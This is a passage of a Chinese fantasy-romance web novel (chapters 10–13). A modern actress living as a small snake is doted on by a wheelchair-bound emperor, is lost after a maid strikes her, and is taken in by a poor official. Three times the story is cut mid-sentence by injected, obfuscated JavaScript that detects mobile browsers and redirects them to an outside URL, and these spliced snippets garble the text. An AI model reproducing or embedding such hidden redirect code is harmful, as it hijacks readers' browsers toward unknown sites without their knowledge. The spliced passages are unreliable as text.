他正坐在轮椅中,膝上铺着素色绸毯,闻言抬眸望向宫道尽头:“嗯,就快到启祥宫了。” “我要吃七分熟的炙牛肉粒,水煮酸辣虾,饭后还要水晶葡萄。”她扬起小脑袋,信子轻吐,一副理直气壮的模样。 “好,都依你。” 他语气温淡似初夏的风,指尖轻轻抚过她冰凉的鳞片。 谢冬瑗觉得在宫里最舒心的便是吃喝不愁,周清玄在吃食上从未亏待过她,哪怕她现在只是一条小蛇。 随侍在后的福安悄悄瞥了一眼那小蛇,她正眯着眼盘在天子掌心,一副养尊处优的模样。 想到陛下平日用膳极简,一粥一菜便可打发,如今却为这小蛇顿顿吩咐御厨房变着花样做菜,甚至常常亲手夹起肉粒,剥好虾壳送到她嘴边,福安不由暗自唏嘘。 这小蛇口味也刁钻,嗜辣爱肉,果蔬皆尝,唯独见了苹果便嫌恶地扭开头去。 更让福安感慨的是,陛下几乎不让旁人近身照料她,连就寝时都要将小蛇置于龙榻旁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922910|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这般待遇,怕是连后宫嫔妃都未曾有过。 正想着,福安一个走神,竟推着轮椅拐向了鸾凤宫方向,那是皇后的宫殿。 夏风燥热,蝉鸣聒噪,福安却惊出一身冷汗。 “陛下,奴才该死!”他慌忙跪倒。 周清玄仍轻抚着小蛇,语气听不出喜怒:“福安这差事若当不好,自有旁人能当。” 谢冬瑗其实不喜欢这里的人动不动就请罪,动不动就下跪。作为一个纯正的现代人,看到这些总觉心里像被什么堵着,闷闷的不舒服。 谢冬瑗忽然吐了吐信子,舔了下他的指尖。 周清玄低头:“怎么了?” “快让福安回去备膳吧,”她声音软糯,尾音拖得长长的,“我真的好饿啦~” 周清玄眼底掠过笑意,指尖轻点她的小脑袋:“好。” 福安如蒙大赦,起身时悄悄朝小蛇投去感激的一瞥。那小蛇竟也对他眨了眨黑亮的眼睛。 轮椅缓缓转向启祥宫,廊下清风拂过,带来远处莲池隐约的清香。谢冬瑗在他掌心惬意地蜷了蜷身子,望着朱红宫墙上一片澄澈的蓝天。 这深宫日子,倒也舒心得很呐。 - 三个月的时间说长也不长,说短也不短,谢冬瑗虽然还未变成人身,但在此期间也是收获颇多。 周清玄每日上早朝时都会将她揣在袖中或置于肩头。她起初还怕被那些老臣发现,后来才知他们根本不敢直视天颜,倒也安心了。 有时候他批折子到深夜,她便缠在他腕上,要他读书给她听。 由此,她日渐了解到这个世界的一部分真相。 此间天下五分,分别为周、西、东、南、北五国。周朝在五百年前便统领了其余四国,成为宗主之国。 这五百年间周国历经内乱、灾荒,他国亦屡有试探之意,却皆被一一平息化解。其余四国皇位更迭数代,唯周国帝位始终姓周。 周国的国运昌盛到令邻国既羡且惧。 周清玄的腿疾始于他十二岁那年。具体原因他未曾细说,只道是旧疾。此后他便常年坐在轮椅上,行走需借拐杖之力。 谢冬瑗曾在他更衣时见过那双腿,虽然消瘦,肌理却分明,并非残疾之状。她暗自猜测,或许是什么心结让他宁愿困坐于此。 周清玄的后妃不多,谢冬瑗一次也未曾见过她们露面,只知她们在后宫深处静居。 倒是那位住在鸾凤宫的皇后,谢冬瑗见过一两次次,只在祭典或者宫宴这般皇后必须出席的场合。 皇后总是衣着端华,举止合仪,脸上挂着一抹淡而标准的笑容,如同戴着一张精美的面具。唯独在与周清玄目光相触的瞬间,谢冬瑗曾捕捉到她眼底一闪而逝的厌恶。 那样鲜明,那样冰冷。 谢冬瑗仔细观察过,皇后从未对周清玄说过一句话,周清玄也从不主动与她交谈,两人并肩时中间仿佛隔着一道无形的墙。 周清玄亦不临幸妃嫔,每日独寝于龙榻。 唔,若不算上她这条盘踞在枕边小窝里的蛇。 难道是因腿疾而致不举,从此厌弃女子? 可谢冬瑗清楚记得,在帝王冢初遇那夜,他的身体反应看上去并不是完全不行。 真是奇怪。 她晃了晃脑袋,索性不再多想,只将身子往周清玄微暖的袖中又埋了埋。 他正在读前朝地理志,低沉的嗓音清凌凌的如小溪轻淌,她听着听着,便昏昏欲睡起来。 11. 第 11 章 “哎,那不是陛下养的那条小青蛇吗?真是好漂亮啊!”含香朝软垫方向望过去,眼中闪着惊叹的光。 她将声音压低了些,又像是自言自语,“我从前最怕蛇了,可这一条瞧它安安静静的样子,鳞片亮晶晶的,一点也不骇人。我长这么大,还没见过这样好看的一条蛇呢,怪不得陛下走哪儿都带着。” 彩兰顺着她的视线向右望去,那条小青蛇正懒懒蜷在明黄色的软垫上。彩兰点了点头,她低声应和:“是呢,它生得是极漂亮的。” 正是午后,湛蓝的天穹净得没有一丝云。夏日的阳光不算烈,暖融融地洒下来,落在御花园繁密的叶上,便给每一片叶子都镀了层淡淡的金绿边儿。落在粼粼的水池面,就化开成一片浮动的金纱。 等落到那条小蛇身上时,更是璀璨得恰到好处。那身碧玉似的鳞片泛着温润的光泽,光影流转间,竟像是用金线细细勾勒过一般,华贵又静谧。 若是从前还是女明星谢冬瑗时,她是最不耐烦这样晒太阳的。但凡天色晴好,出门必定伞不离手,生怕毒日头晒黑了她精心保养的雪白肌肤。 如今成了这小蛇的模样,反倒没了这般顾虑。冰凉的身体被阳光烘得暖洋洋的,每一寸鳞片都舒展开来,汲取着光热。 她甚至能感到体内某种细微的、近乎凝滞的气息,随着日晒缓缓流动畅通起来。谢冬瑗惬意地眯了眯眼,心底漫无边际地想着,或许晒得多了,真能助她早日变回人身呢? 往常这时辰,总是周清玄陪在她身边,或看书,或批折子,偶尔用手指轻轻抚过她的蛇身。 今日他却一早便不见了踪影,只临走前将她安置在这软垫上,轻声细语地解释,说要去个不便带她的地方,约莫天黑才能回来。 这是她进宫以来,头一回与他分开一整天。 周清玄同她交代时,她故意将脑袋搭在他腕上,一副蔫蔫的依依不舍的模样,惹得他又哄又慰,承诺尽早归来。其实她心里早乐开了花。 自由了啊! 彩兰端来一个巴掌大的白瓷碟,里面盛着些新鲜的牛乳,小心放在软垫边:“小蛇,该用些点心了。” 为免闲人惊扰,此刻整个御花园皆有金吾卫肃立把守,除了启祥宫当值的宫人,一律不得入内。 含香原是鸾凤宫的宫女,与彩兰交好,常来找她说话。前几日听说彩兰负责专程照料一条蛇,好奇心大起,缠着非要一同来看看。 彩兰耳根软,耐不住她磨,只好对守卫谎称含香也是启祥宫的人,这才放了她进来。 见四周侍卫离得远,含香凑到彩兰耳边,压着嗓子窃窃道:“你说陛下这回的新宠,能得多久的兴致?”她将宠字咬得微妙,眼角瞥向那静静饮乳的小蛇。 彩兰立刻蹙起眉,不着痕迹地拉开一点距离,低声道:“快别胡说。它灵性得很,当心叫它听去了。” 她在启祥宫当差,深知这条小蛇非同一般。陛下临行前,福总管更是千叮万嘱,务必小心伺候,不可等闲视之。 她第一次见它开口说话时,惊得魂儿都快没了,那是陛下从神山带下来的灵物,岂是寻常宠物可比?启祥宫上下对此皆守口如瓶,她纵与含香亲密,也绝不敢透露半分。 含香却不知内情,只当是养得格外精贵的玩物,不以为然地撇撇嘴:“你也忒小心了,它再漂亮也就是条蛇,还能听懂人话不成?就算听懂了,它还能去陛下跟前告状呀?” “你……”彩兰语塞,又不能明说,只得板起脸,“慎言!叫外头金吾卫听见,你我都要受罚。” 含香还是有些怕那些持刀肃立的金吾卫的,悻悻住了口,目光却落到旁边另一只小碟上。 里面是御膳房特制的小食。是煨得酥烂入味,又带着蜀地椒麻香气的牛肉粒,并几样切得小巧精致的水果。 她吸了吸鼻子,那辛辣鲜香一个劲儿往鼻子里钻,忍不住就伸出手,用银签子扎起一粒牛肉送入口中。 “哎!别动!那是给小蛇备的!”彩兰急忙阻拦。 可含香已嚼了起来。牛肉粒火候极好,外微焦,内软嫩,麻辣咸香,是她从未尝过的滋味。 她本就出身贫寒,何曾吃过这般精巧又昂贵的肉食?当下也顾不得彩兰阻拦,又连扎了几粒,腮帮子鼓鼓囊囊的,含糊道:“唔,真好吃!这般好东西,给人吃才不算糟践呢,它一条蛇能尝出什么好赖?” 彩兰又急又气,脸都有些红了,却又不敢大声争执,只压低嗓音斥道:“含香!你越发没规矩了!这是陛下的爱宠,它的饮食也是陛下亲自吩咐的!你怎敢抢夺?若让人发觉……” “又来了!整日若这若那的,哪有那么多万一?”含香也上了脾气,觉得彩兰小题大做,不顾姐妹情分,“东西我吃了便吃了,又没毒死它!你我这样的交情,还比不过一条蛇?” 谢冬瑗慢条斯理地将最后一点牛乳舔尽,抬起了小小的脑袋。看着眼前这对好友为她的食物争执,竟觉得有些无趣。 她立起蛇身体,正打算生一个懒腰打个哈欠。 含香一扭头,恰看见小青蛇扬起了头,吐着细细的信子。她本就心虚,又被彩兰说了一通,此刻一惊之下,竟以为蛇要攻击她,想也没想,手中那盛过牛肉粒的空瓷碟便失手朝小蛇掼了过去! 顿时彩兰的惊叫与瓷碟破空声几乎同时响起。 事情发生得太快,谢冬瑗只觉一阵疾风袭来,接着身子便被什么东西扫中,天旋地转间,连同那碟子一齐跌进了远处茂密的牡丹花丛里,瞬间被层层叠叠的枝叶掩没了踪影。 “小蛇!”彩兰的嗓音变了调,目光无措。 含香脸色煞白,僵在原地,手里还保持着投掷的姿势。 急促而整齐的脚步声如潮水般涌来,披甲执锐的金吾卫瞬间冲入园内。为首的队正厉声喝问:“何事惊呼?” 彩兰的哭声,含香语无伦次的辩解,金吾卫严厉的盘问,御花园内顿时乱作一团。 而那片姹紫嫣红的花丛深处,安安静静,再无一丝动静。 那条的小蛇,已然不知所踪。 - 阴冷的地宫通道仿佛没有尽头。黑暗伸手不见五指,唯有周清城手中灯盏照亮脚下方寸。 不知走了多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922911|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼前终于出现一扇巨大的石门。门上爬满虬结的枯藤,不见锁孔,仿佛与石壁长成了一体。 “七哥,到了。”周清城停下脚步,声音在空旷地宫中荡起轻微回音。 周清玄缓缓抬手,戴有王遗的手贴近石门。枯藤如活物般簌簌退散,石门无声向内滑开。 一盏人型灯静静被挂在密室中央。 灯芯燃着一点幽绿火光,那光并不明亮,却将整个石室映射的阴森碧绿。 它被称之为神灵灯,周国第五任皇帝以帝王冢第六位守山灵为材所制。 很久很久以前,山神与周国初代周天子做了一个交易。此后周国立国,而这个秘密传给周国一代又一代的皇帝。 第五任皇帝产生一个心魔,他知道了这个秘密后不满足于旧约。于是他去帝王冢祭拜时佯装温和,用一二三四五六给每一个守山灵都取了名字,选中了其中一个内心最为纯净的守山灵,在下山之前,用了一个谎言将这个守山灵骗下了山。 “山外的世界,很美。”皇帝曾坐在神山石上,对那懵懂的守山灵这般说。 “有多美?” “颜色比这里多得多,是五颜六色的。” “五颜六色,是什么颜色?” 皇帝从袖中取出一只早已备好的彩色风车,轻轻一吹,风车转动起来,五彩斑斓流转不息。 守山灵睁大了眼,伸手想碰,又怯怯缩回。 “好漂亮啊” “若随我下山,你能见到更多比这还美的东西。”皇帝的声音低缓,诱哄般一句接一句,“待看够了,我便送你回来。” 守山灵看向那仍在旋转的风车,终于点头:“那你要说话算话。” 下山那日,他朝同伴们用力挥手:“再见!我定会回来的!” 其他守山灵立在出口目送,那时他们尚且不知,这一别便是永诀。 下了山的守山灵见到了和神山不一样的世界,他好奇着观看这五颜六色街道,走街的小贩,吆喝着卖菜的大叔,坐在父亲头上的小女孩,笑着揽住丈夫胳膊的妻子。 一切对他来说都太新奇了。 不过很快的,他就看不见了。 他被皇帝带入地宫中,穿着金甲的人将他五花大绑在石板上,他的四肢被锯子切断,眼珠子被掏了出来。 紧接着,他的肚子被切开,皇帝亲手掏出了他的内脏,他的身体只剩下了一副没有血肉的躯壳,只由着长灯点燃着。 仅仅是想增强王遗能控制人的能力,让其余的守山灵能更加听话,他便被做成了神灵灯。 从此他不能言,不能动,不能归山,唯有一点灵火在无尽的黑暗里孤独燃烧。 周清城将轮椅再向前推了几步,绿荧荧的灯芯忽地探出几缕光丝,细细缠绕上周清玄掌中的王遗,王遗逐渐泛起温润光泽,如同饱食后微微搏动。 半晌,周清玄合拢手掌,光丝悄然缩回。 “好了,”他声音有些疲乏,“阿城,推我回去罢。” 在他们退出石室时,那些枯藤又无声蔓回,将石门重重覆掩,仿佛一切从未开启。 12. 第 12 章 那一天,整个皇宫都知道了周天子丢失了一条爱蛇。 照顾小蛇的两名宫女被当庭鞭笞至奄奄一息,看守御花园的金吾卫当场拖往刑房杖责五十,随即押入天牢候审。 天子的怒火席卷宫廷,连往日宁静的后宫也未能幸免,金吾卫持火把闯入每一处宫苑,翻箱倒柜,彻夜不休。 皇后仅披一件锦缎外袍立在殿门前,长发未绾,眼中凝着冰霜,“恶心的疯子。” 御花园里,周清玄脸上神情晦暗不定,目光落在亭外两名伏地的宫女身上,其中一个已无声息,另一个气息微弱,唇间溢血。 福安垂首立在三步之外,冷汗浸湿了内衫。虽因奉旨采办宫宴物品暂离,但人选皆由他亲手定夺。此刻他只觉颈后发寒,仿佛已触到天子无声的杀意。 “朕再问最后一次,”周清玄开口,声调平稳得令人心悸,“她去哪儿了?” 濒死的宫女浑身一颤,涣散的目光努力聚焦:“陛下,奴婢真的不知。” 周清玄闭了闭眼,抬手轻轻一挥。 候在一旁的金吾卫当即上前,扭断了那位宫女的脖子,花园重归平寂。 福安双膝一软,直挺挺跪倒在地,额头抵上冰冷的石板。 “福安,”天子的声音从上方落下,“你知道为何还没杀你么?” “奴、奴才……”福安嗓音抖得不成调。 “木木若回来,衣食起居仍须你打理。”周清玄缓缓起身,墨色的龙袍在夜风中微扬,“可她若回不来,你也就无用了。” 他走向亭边,望向漆黑一片的御花园,恍惚间,仿佛仍能看见小蛇盘在石桌上睡觉的模样。 当初带她下山,不过是一时兴起。想看看这自神山带下来的小生灵,是否会像从前帝王冢带来的玉石一样,渐渐失去灵气,变得黯淡无光。 可不知从何时起,他不再在意她是否依旧莹亮。 他只记得她盘在御案一角陪他批阅奏疏的温热,记得她用小小的脑袋轻蹭他指尖的依恋,记得她蜷在他枕边时,那些纠缠他多年的噩梦竟一夜消散。 她早已不是一件玩赏之物。 她是木木。 是他漫长孤寂的岁月里,唯一鲜活的、温暖的陪伴。 周清玄缓缓收紧手指,指节泛白。 他一定要找回她。 - 是米粥的香味。 咕噜咕噜的沸腾声将谢冬瑗从沉睡中唤醒,随后,那股温润清甜的米香便飘进了她敏锐的鼻尖。 “小蛇,你醒了啊。” 一张白净俊朗的脸忽然凑近,占据了她的全部视线。他眉眼弯弯,笑容干净,像初春融化的雪水。“我煮了米粥,你要不要吃呢?” 谢冬瑗蛇口微张,愣住了。 天爷!她该不会又又穿越了吧! 她眨了眨眼睛,下意识想挪动身体,腹部却传来一阵清晰的刺痛。她低头看去,自己仍是那条小青蛇,只是腹部多了一块洁白的纱布,此刻正隐隐渗出暗红的血迹。 哦,还好,这里还是周国。 那人已转身将盛了清粥端到木桌上。看见她腹部的纱布,他眉头轻蹙,脸上掠过一丝担忧。 他快步走到屋角那陈旧的黑漆柜子前,翻找出一卷干净的纱布和一个小瓷瓶。 “你受了伤,先不要乱动。”他回到她身边,声音轻缓,“可能会有点疼,我给你重新包扎一下。” 他的手指修长,动作轻柔而专注,小心翼翼地将染血的旧纱布取下,露出那道有一厘米的伤口。 谢冬瑗呆呆地看着他近在咫尺的侧脸,记忆渐渐清晰。 是他,那个在朝堂上被武官集体霸凌,被文官排挤的六品翰林,程文寺。 可她明明记得自己是在皇宫御花园里,怎么会到了这里?又怎么会被程文寺所救? 小蛇困惑地歪了歪脑袋,细细打量这个似乎有些陌生的男人。 程文寺熟练地给她上药包扎,手法细致。处理好伤口,他拿过粥碗,用木勺将已经熬得软烂的米粒轻轻压了压,舀起一勺,凑到唇边仔细吹凉,这才递到小蛇面前。 看着那依旧歪着脑袋满眼疑惑的小家伙,他又笑了,“是不是很疑惑为什么会在这里?我等会儿和你解释。先吃饭,好不好?” 万事以吃为先。谢冬瑗压下心中翻腾的疑问,顺从地低下头,小口小口地舔食勺中温热的米粥。 屋子里静悄悄的,只有细微的进食声。一人一蛇,对坐而食,气氛竟有种奇异的安宁。 谢冬瑗吃得肚皮微圆,程文寺也放下了碗。他有些不好意思地笑了笑,清俊的脸上带着歉意:“委屈你了。我俸禄微薄,每月还要捐一些给南巷子那些无依无靠的孩子,所以只能请你喝清粥了。” 原来如此。 谢冬瑗恍然。她随周清玄上朝时,常见程文寺孤身立于角落,遭人冷眼,只当他性情孤高傲岸,不合时宜。如今看来,他竟是这般一个洁身自好,乃至清贫如洗的官。 这屋子一室一厅,虽打扫得窗明几净,却几乎称得上家徒四壁。木桌旧得掉了漆,两把凳子腿脚也不一般高。碗里是清澈见底的白粥,连一丝咸菜也无。 “现在,我来告诉你为何你会在这儿吧。”程文寺收拾好碗筷,坐正了身子,缓缓道来。 据他所说,那日他路过御花园外墙,恰听见园内喧哗,似在搜寻什么。他本不欲多事,却在转身时,瞥见墙根花丛里露出一段青鳞尾巴。 一条腹部血流不止的小蛇,正躺在那奄奄一息。 “金吾卫在园内搜寻,我想或许是宫里哪位贵人丢失的宠物,但他们似乎没注意到墙外。”程文寺语气平和,“见你伤重,我便先将你带回来了。本想等你伤好些再设法打听送还,只是不知你的主家究竟是哪位?” 谢冬瑗心中哀叹。若非不能暴露自己能言人语,她恨不能立刻大喊:我的住家就是周清玄啊,你侍奉的陛下啊。 可眼下,她腹部的伤口一动就疼,根本无力爬行。看来,至少得在这位穷翰林家里将养个十天半月了。 也不知周清玄回宫发现她不见了,会急成什么样子。 算了,保命要紧。小蛇颓然地瘫在桌上。 程文寺看着她这幅焉头耷脑的模样,眼神微微一黯,伸手极轻地抚了抚她冰凉的鳞片。“你放心,”他承诺道,声音虽轻却郑重,“我会好好照顾你的。” 他起身,仔细掩好房门,走到隔壁小院,轻叩那扇木门。 开门的是一位头发花白,精神却矍铄的老妪。看见程文寺,她眯起眼笑了:“哟,小寺。这次又想找老婆子讨什么药了?” “秦奶奶,”程文寺恭敬道,“我想跟您买些好点的金疮药。” 秦奶奶眯着眼将他上下打量一番,忽然脸色一沉,伸手就要撩他洗得发白的青布长衫:“是不是那群天杀的又欺负你了?让奶奶看看!” “奶奶,不是的。”程文寺连忙侧身避开,脸上微红,“我没事。是……是我捡到个小东西,它受了伤。” “小东西?”秦奶奶停下手,狐疑地看着他,“什么小东西?该不会是捡了个受伤的小娘子,不敢告诉奶奶吧?”说着,脸上露出促狭的笑。 程文寺的脸腾地红透了,连连摆手:“奶奶莫要取笑!是……是一条小蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922912|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着怪可怜的,伤在肚腹上。” “嗨,一条小蛇啊,你早说嘛!”秦奶奶笑了,转身进屋,不一会儿拿出一个青色小瓷罐,“喏,上好的金疮药,敷上止血生肌最快。拿去,跟奶奶还提什么钱。” 程文寺推辞不过,再三道谢才接过药罐。回到自己屋中时,篮子里的小蛇已蜷成一团,沉沉睡着了。 他翻出一个旧菜篮,垫上自己几件再也穿不下的柔软旧衣,小心翼翼地将小蛇捧进去,安置在温暖的窝中。 “好好睡吧。”他低语,“会好起来的。” - 程文寺在朝堂之上形单影只,但在皇城根下曲折破旧的南巷子里,他却是极受欢迎的人。 用这里街坊的话说,他是南巷子几十年里飞出的唯一一只金凤凰,还是颗不染尘埃、心系故里的凤凰。 他出身清寒至极,父亲是个砍柴人,三十多岁还因家徒四壁娶不上亲,后来在山里捡到了尚在襁褓的他,含辛茹苦抚养成人。 父亲总对他说:“做人要正直,穷孩子的出路,只有读书。” 程文寺没有辜负这份期望,寒窗苦读,做了探花郎,有一个六品翰林的官职。如今虽官位不高,俸禄微薄,却始终记得父亲的教诲,也记得这片养育他的陋巷。 “小寺,今天怎么得空来买菜呀?”菜摊后的林婶嗓门洪亮,笑容热情。 “今日休沐,便过来看看。林婶近日可好?”程文寺微笑应答。 “好着呢!喏,这菜花今早刚摘的,水灵得很,婶子给你留了最大的一朵!”说着,不由分说将一棵饱满的菜花塞进程文寺的菜篮。 “多谢林婶。” “小寺!休沐啦?”烧饼摊的王叔隔着半条街招呼,“来来,刚出炉的芝麻烧饼,香着呢!拿着!” “王叔,我……” “拿着,跟叔还客气啥。当年你中探花,可请咱整条巷子吃过糖呢。” 没走几步,挎着鸡蛋篮子的刘大嫂又迎面过来,瞅见他的篮子,直接抓起几个鸡蛋放进去:“小寺,拿着,我家那几只母鸡最近下蛋下得勤,探花郎也沾沾喜气!” 一路走来,程文寺几乎没机会掏出钱袋,菜篮却被塞得满满当当。他一一郑重道谢,清俊的脸上始终带着温和的笑意。 最后,他在那总是飘着肉腥味的肉摊前停住了脚步。 肉摊老板赵屠户正挥着蒲扇驱蝇,看见他,眼睛一亮:“哟,稀客啊,看来小寺今日要开荤了,肥肉十文,瘦肉五文,老赵我给你最新鲜的。” 程文寺看着案板上红白分明的猪肉,犹豫了片刻,手指轻轻蜷了蜷,终于开口:“那,劳烦赵叔,给我切一斤瘦肉吧。” “好嘞!”赵屠户手起刀落,动作麻利,“这就对啦,读书费脑子,是该吃点好的补补。” 谢冬瑗再次醒来时,发现自己仍在那间陋室,但身下已不是冰冷的桌面,而是铺着柔软旧衣的菜篮小窝。 她动了动鼻尖,清晰地嗅到衣物上残留的皂角清香,以及一丝极淡的、属于程文寺的干净气息。 清苦,却温和。 这时,门被推开,程文寺提着篮子进来,轻轻放在地上。看见她抬头,他眼中漾开笑意:“醒得正好。我买了些菜,等下煮饭。” 他走过来,伸出食指,极轻地碰了碰她头顶冰凉的鳞片,那笑容清澈见底,仿佛能驱散这屋中所有的清寒。然后他便转身,去屋角那小泥炉边忙碌起来。 谢冬瑗静静望着他清瘦却挺直的背影。此刻她所见的程文寺,与朝堂上那个沉默孤立,面容淡泊的翰林,判若两人。 原来,人是如此多面的生灵。 13. 第 13 章 在程文寺家吃的第二顿饭,依旧是粥。 不过比起上顿的寡淡,这一回熬的是瘦肉青菜粥,米粒煮得开了花,肉末细碎地融在粥里,翠绿的菜叶点缀其间,热气带着清淡的咸香袅袅上升。 谢冬瑗向来嗜好辛辣,对这般素净的吃食本提不起兴致。可当那勺粥送入口中,米香裹着肉鲜与青菜的清甜,竟让她忍不住一口接一口。 不过片刻,一小碟粥便见了底。她满足地向后一仰,肚皮微圆地瘫在桌上。 在如此简陋的处境里,能用简单的食材将一碗粥煮得这般勾人,谢冬瑗已在心底给程文寺封了个程大厨的名号。 程文寺是个爱洁净的人。一人一蛇用完饭,他便将碗碟收拢,端到屋外的水池边清洗。 他挽起袖子,露出一截白皙却结实的小臂。洗碗时肌肉随着动作微微起伏,线条流畅而充满着力量。 真是个宜室宜家的好煮夫啊。 谢冬瑗盘在桌沿,看得有些出神。 若是在现代,她定要设法将他收入囊中。自打她能随心挑选剧本,不再看人脸色,也不必为钱财发愁之后,她交往过的男友便都是温柔居家的类型。 推门回家,看见系着围裙的俊秀男人笑着迎上来,一声:“回来啦”,那种瞬间驱散疲惫的暖意,常让她想立刻扑进对方怀里大做一餐。 当然,前提是脸必须好看。不好看的,在谢冬瑗这儿第一关就过不去。 程文寺这家伙,瞧着清瘦文气,没想到露出了手臂就这么性感,要是露出了整个身子呢? 想到这里,谢冬瑗就觉得心跳动的更加的频繁了。 “小蛇,”程文寺不知何时已洗好碗,擦干手走了过来。他在她面前俯身,琥珀色的眼睛在昏光里显得格外温润,“我要去西南门外监工,晚上才能回来。” 他的距离很近,近得谢冬瑗能看清他眼中自己的小小倒影。他伸出食指,轻轻地碰了碰她的鼻尖:“你别乱跑,等我回来,好吗?” 谢冬瑗下意识点了点头。 程文寺便笑了,眼角弯起温柔的细纹。“你也得快快好起来,”他说话轻声细语的,“好了以后,带你去外面看看。” - 西南门外原是一片荒地。所谓荒地,倒非不毛之土,只是杂草蔓生,无人垦殖。因这片地隶属皇家,未经上谕,百姓不得擅自开荒耕种。 不是没人动过念头。也有胆大的百姓向官府递过请愿,只是层层关节都需要打点,平民人家哪来那么多银钱疏通? 文书递上去便如石沉大海,久而久之,再无人敢提,这块地也就这么一年年荒着。 直到程文寺赴任。 他呈给周天子的第一道折子,恳切详明,便是奏请开放西南门外荒地,予百姓耕种。 折子里不仅写了垦荒之利,更细细列了分地方案:依京城人家收入多少和人口数目公平授田,条理清晰,字字务实。 周天子看过后,被这份毫无藻饰的真诚打动,朱笔一挥,准了。此事便全权交给了程文寺督办。 这些日子,去西南门垦荒的百姓,归家后端起饭碗,都觉得格外香甜。地里活儿有人帮着干,且干得又快又卖力。 最让人心头暗爽的是,那些抡起锄头,满头大汗的帮手,竟是昔日对他们趾高气扬的都尉府官爷! 嘿,心里那叫一个舒坦! 与百姓们心头的暗爽截然相反,都尉府一众被罚来垦荒的人,心里可是窝着滔天怨气。本该下值后与同僚寻个酒楼,饮酒谈笑,快意人生,如今却得对着黄土挥汗如雨。 挥锄便挥锄罢,偏还要被程文寺目不转睛地盯着。 都尉府的人私下里咬定了,程文寺这就是在公报私仇,报复往日他们集体的排挤与刁难。 本来做做样子便可,他偏规定时辰未到便不能停手,见谁偷懒慢了,还要亲自过来提点几句。 每日回去,都是一身混着泥土与汗味的脏污,家中妻妾难免掩鼻蹙眉,连近身都不愿。 唉,真是里子面子丢了个干净,众人心头对程文寺的恼恨,又深一层。 这其中,最恨的莫过于申成益。事情由他起头,是他先带着众人霸凌程文寺,如今却连累所有兄弟一同受罚。身为都尉府头领,他既觉愧对手下,更愤恨难平。 更让他难堪的是,他的顶头上司周清城,亦为此事将他唤去,冷面斥道:“申成益,你听清楚,任何人都不许轻慢我七哥。你那些小动作,真以为他不知?愚不可及!我能将你从北城提来,也能将你丢回去。” 一切屈辱与狼狈,都被申成益归咎于程文寺。若不是他,何至于此? 他奋力挥下锄头,深深砍进土里,仿佛那泥土就是程文寺本人。 抬眼望去,夕阳正烈,晃得人眼晕,而程文寺一身素净官袍,立在田埂边,面色平静无波,却自有一种不容侵犯的肃然。 申成益抹了把额上滚落的汗珠,一股恶念,如同地底的寒气,悄然窜上心头。 - 监督完垦荒,程文寺踏着夜色回到他那间小屋。 屋里漆黑一片,寂然无声。 他如常点燃桌上的蜡烛,微光亮起,映着他低垂的侧影。 “对不住,回来晚了。”他对着空荡的屋内轻声说,仿佛在向谁解释,“屋子这么黑,吓着你了吧?那边的事再过几日便了了,往后不会这样晚归了。” 烛光照亮方寸之地。一切陈设如旧,唯独那只铺着蓝色旧布的菜篮里空了。 程文寺怔在原地,望着那空荡荡的篮子,半晌没有动弹。他缓缓走到桌边坐下,安静地盯着那块曾经蜷卧着碧绿小蛇的地方。 烛火将他的影子投在土墙上,拉得孤长。 这间小小屋子,终究还是回到了只有他一个人的时候。 “也好。”他低声自语,重复了两遍,“也好。” 他早已习惯独处,不是么?只望它是平安离去,而非遭遇不测。跟着自己,也不过是清贫度日。 程文寺起身,推门去院中打水。烧热后,他如往常一样将水倒入浴桶。 他的衣物简单,一件外衫,一套里衣。不多时,衣衫尽褪干净。 干净的让躺在床上的谢冬瑗睁大了蛇眼。 烛光晕染着他白皙的肌肤,双臂鼓充着恰到好处的肌肉,宽肩下是紧窄的腰身,腹部肌肉块块分明,随着呼吸微微起伏,一双长腿笔直而结实长腿笔直紧实。 水雾中,他宛如一尊精心雕琢的石膏像,唯有一处隐现于阴影交汇处,让人看不清。 谢冬瑗从床榻的阴影里探出脑袋,正想细看,他已跨入浴桶,将整个身体沉入温热的水中。 可惜了,还没看够呢。 谢冬瑗没料到,程文寺一副文弱书生模样,身材竟如此出色。她轻轻吐着信子,悄无声息地朝那缕缕热气游去。 温热的水流包裹住疲惫的身躯,程文寺闭目靠在桶沿,双臂搭在边缘,任水汽蒸腾。 一点冰凉忽然触上他的手臂,缓缓游移,接着攀上他的肩头,又绕至发顶。 程文寺睁开眼,正对上一双圆溜溜的蛇眼,那小东西不知何时已盘在他头上,正垂着脑袋瞧他。 “是你?”程文寺怔了一瞬,冁然而笑,眉眼间残留的孤清瞬间消散。 他抬起湿漉漉的手,小心翼翼地将小家伙从头顶托下来,捧到眼前,“跑去哪儿了?我以为你不会回来了。” 